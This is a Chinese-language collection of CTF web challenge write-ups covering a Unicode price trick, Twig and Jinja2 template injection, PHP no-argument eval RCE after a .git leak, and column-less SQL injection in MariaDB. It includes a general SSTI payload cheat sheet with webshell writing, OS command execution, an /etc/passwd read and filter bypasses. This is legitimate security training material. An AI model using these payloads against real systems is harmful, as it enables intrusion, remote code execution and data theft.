[ASIS 2019]Unicorn shop
开局尝试输入ID和Price购买
发现除了ID为4其他的ID都会提示:
如果输入ID为4,Price小于1337,会提示钱不够
但是如果我们输入足够的Price,会提示
如果我们上面参数都不输入直接提交,会出现报错
Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute
result = method(*self.path_args, **self.path_kwargs)
File "/app/sshop/views/Shop.py", line 34, in post
unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter
我们注意到
unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter
-
这个讯息,也就是说
price
参数只能是一个单独的Unicode
字符 -
我们了解一下
unicodedata.numeric
这个方法
python unicodedata.numeric(chr[, default])
-
功能
把一个表示数字的字符串转换为浮点数返回的函数
注意: Unicode字符(chr),不是字符串
这就是一道Unicode编码转换问题
Payload
参考
python unicodedata.numeric(chr[, default])
浅谈Unicode设计的安全性
[BJDCTF2020]Cookie is so stable
知识点
cookie与Twig的SSTI
题目给出了三个页面,在Hint网页源码中给出了提示:与
cookie
有关
- 而flag页面中是可以提交参数的,并且页面返回了我们提交的参数值,这里可以猜测:
- 参数是否会被执行呢?
- 在Flag页面bp抓包,发现cookie并且页面post传递两个参数,在放包的第二个页面,cookie中出现了新参数user,值为我们传递的username值
- 猜测SSTTI模板注入攻击 ,根据返回结果判断模板类型
- Payload:
user={{7*'7'}}
- 返回了执行后的结果
Burpsuite 则对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:
这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*‘7’}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。
由此判断为使用了Twig模板
Twig模板是有漏洞的特殊格式的Payload的
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
flag一般放在了网站根目录下,构造Payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
返回页面中得到flag
常见SSTI的Payload
- Smarty拿取webshell
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
- Twig 命令执行
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
- freeMarker
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
- python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("dir").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
- Jinjia2模板引擎通用的RCE Payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
- python2
# 读
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# 写
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('test') }}
####执行命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
- python3
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
####在本地python中测试
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
- flask的命令执行payload:就是拆分关键词进行绕过
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
参考
信安小蚂蚁详解
K0rz3n介绍 SSTI 漏洞
二向箔安全学院SSTI介绍
SSTI检测工具tplmap地址
[GXYCTF2019]禁止套娃
知识点
- .git文件泄露
- PHP正则绕过
- (?R)?无参rce
- F12及抓包查看都没有得到线索,尝试dirsearch扫描网站目录
- Payload:
python dirsearch.py -u "a07831d1-f6c8-4f41-a59e-a4b4bc17a3f5.node4.buuoj.cn:81" -e* -w db/ctf.txt
- 应该是git文件泄露
- 这里使用GitHack恢复源文件
Payload:
python GitHack.py http://a07831d1-f6c8-4f41-a59e-a4b4bc17a3f5.node4.buuoj.cn/.git/
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
第一个正则,
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
意思就是不让我们用伪协议去直接读取文件。
第二个正则,
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
这里使用preg_replace替换匹配到的字符为空,[a-z,_]
匹配小写字母以及下划线,然后(?R)?这个意思为递归整个匹配模式(就是这个式子他会递归调用当前的正则表达式)。
- 也就是说会出现[a-z,]+((?R)?),[a-z,]+([a-z,_]+((?R)?))的情况,也就是所谓的无参数函数校验。
- 综上:正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有
;
至于最后一个正则:
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
就是过滤了一些函数名
总结
- 不能用伪协议
- 只能用无参数函数形式
- 绕过被过滤的函数
Payload构造
既然是读文件获取flag,首先应该执行的应该是
print_r(scandir('.'))
列举当前目录下的所有文件.但是此题无法进行传参,所以我们需要构造.
在这之前先获取一些全局变量的信息,测试本题是否回显:
?exp=print_r(phpversion());
PHP版本为5.6.40
接下来构造.
,查看当前目录下文件
- localeconv() 返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
- current() 返回数组中的单元,默认取第一个值(取得返回的
.
) - scandir() 函数返回指定目录中的文件和目录的数组
- print_r() 函数用于打印变量,以更容易理解的形式展示
payload:?exp=print_r(scandir(current(localeconv())));
可以看到
flag.php
文件在第三个位置,如何读取呢?
法一:
- array_reverse() 以相反的元素顺序返回数组
- next():将当前数组的光标向后移一位
payload:?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
法二:(比较麻烦一点,拓展思路)
- array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组
- array_flip() 反转数组中所有的键以及它们关联的值
- show_source() 函数对文件进行语法高亮显示。 本函数是 highlight_file() 的别名。
payload:?exp=print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));
- 因为返回的数组键名是随机的(0-4),所以需要多试几次
参考
M1saka M1k0t0(法一)
入山梵行(法二)
无参RCE总结
[SWPU2019]Web1
知识点
- 无列名注入
- Maria数据库的这个表可以查表名:mysql.innodb_table_stats
题目在注册一个号,发布广告时bp抓包存在三个参数
- 在广告详情处发现了可能的注入点,并返回了我们输入的内容
返回了我们输入的值,尝试在广告申请处构造语句
- 本题过滤了
空格, #, --+, and、or
- 我们使用
/**/
来替代空格; - 没有办法注释,
闭合引号
即可; - 过滤了
or
,无法使用order by
,使用group by
替代。 or
过滤掉那么information_schema
也无法用了
- 使用
group by
判断列数
-1'/**/group/**/by/**/22,'2
22时没有报错,即该表有22列
- 检测回显位置
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
payload
用mysql.innodb_table_stats报表名
- 爆表名
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
现在需要查看表内具体内容,但是因为information_schema被过滤,作为替代的mysql.innodb_table_stats又没有列名,怎么办呢?-----> 无列名注入
- 查询表内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
- 查看第三列
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
- 得到flag
无列名注入
Maria数据库的这个表可以查表名:mysql.innodb_table_stats
https://mariadb.com/kb/en/mysqlinnodb_table_stats/
-
About MariaDB
-
成立于2009年,MySQL之父Michael “Monty” Widenius用他的新项目MariaDB完成了对MySQL的“反戈一击”。开发这个分支的原因之一是:甲骨文公司收购了MySQL后,有将MySQL闭源的潜在风险,因此社区采用分支的方式来避开这个风险。 过去一年中,大型互联网用户以及Linux发行商纷纷抛弃MySQL,转投MariaDB阵营。MariaDB是目前最受关注的MySQL数据库衍生版,也被视为开源数据库MySQL的替代品。
0x02 无列名注入
- 创建一个数据库叫 testdb,再创一个 user 表,结构如下:
- 往这个表里插入一些数据:
mysql> insert into user values(1,'admin','778778'),(2,'Artd33','123520');
- 正常查询:
mysql> select * from user;
4. 这时再使用一个union查询:
mysql> select 1,2,3 union select * from user;
5. 利用数字3代替未知的列名,需要加上反引号。后面加了一个a是为了表示这个表(select 1,2,3 union select * from user)的别名,不然会报错。
mysql> select `3` from (select 1,2,3 union select * from user)a;
这句话的意思是,使用括号内的select语句构建一张新表a,然后从a中选取列名为‘3’的列,即原来的passwd列。
- 当 ` 不能使用时,用别名来代替:
mysel> select b from (select 1,2,3 as b union select * from user)a;